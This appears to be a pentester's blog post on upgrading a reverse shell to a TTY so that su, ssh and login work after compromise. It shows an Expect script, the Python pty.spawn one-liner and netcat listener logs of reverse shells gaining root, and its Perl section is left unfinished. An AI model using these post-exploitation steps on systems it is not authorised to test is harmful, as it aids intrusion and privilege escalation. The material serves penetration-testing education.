|
This is a follow-up to a topic I touched on breifly before when I talked about the problem of trying to use the SSH client when you don't have a TTY. I was recently in a position where I got an interactive shell on a box, discovered the root password but was unable to get root because I couldn't run "login" or "su". Both of these required a TTY in order to work. I don't present a definitive solution in this problem (if you have one please sent it in!). However I discuss a couple of approaches to getting a TTY...
Post-exploitation activities during a pentest may involve using "su" to try and log into other local accounts, or using "ssh" to log into other hosts. Using "Expect" To Get A TTYIf you're lucky enough to have the Expect language installed just a few lines of code will get you a good enough TTY to run useful tools such as "ssh", "su" and "login". $ cat sh.exp #!/usr/bin/expect # Spawn a shell, then allow the user to interact with it. # The new shell will have a good enough TTY to run tools like ssh, su and login spawn sh interact The following output taken from a reverse shell demonstrates how "su" doesn't work until we use the Expect script: $ nc -v -n -l -p 1234 listening on [any] 1234 ... connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 48257 sh: no job control in this shell sh-3.2$ su - su: must be run from a terminal sh-3.2$ expect sh.exp spawn sh sh-3.2$ su - Password: mypassword localhost ~ # Likewise, the ssh client doesn't seem to work properly (with or without the -T option): $ nc -v -n -l -p 1234 listening on [any] 1234 ... connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 33250 sh: no job control in this shell sh-3.2$ ssh localhost Pseudo-terminal will not be allocated because stdin is not a terminal. <big pause> $ nc -v -n -l -p 1234 listening on [any] 1234 ... connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 33252 sh: no job control in this shell sh-3.2$ ssh -T localhost <big pause> After we run sh.exp we are able to use the ssh client as normal: $ nc -v -n -l -p 1234 listening on [any] 1234 ... connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 43498 sh: no job control in this shell sh-3.2$ expect sh.exp spawn sh sh-3.2$ ssh localhost ssh localhost Password: mypassword Last login: Wed Jan 16 13:43:20 2008 from 127.0.0.1
user@localhost ~ $ Using Python To Get A TTYThis is quite an elegant solution I found on Tero's glob. It should be effective against gentoo systems at least because the gentoo package management runs on python. $ nc -v -n -l -p 1234 listening on [any] 1234 ... sh: no job control in this shell sh-3.2$ su - su: must be run from a terminal sh-3.2$ python -c 'import pty; pty.spawn("/bin/sh")' sh-3.2$ su - su - Password: localhost ~ # Using PERL To Get A TTY This is not such as great solution as IO::Pty isn't installed by default on any system I've seen. For completeness, though: <hmmm... can't get it will working. Will post later.> |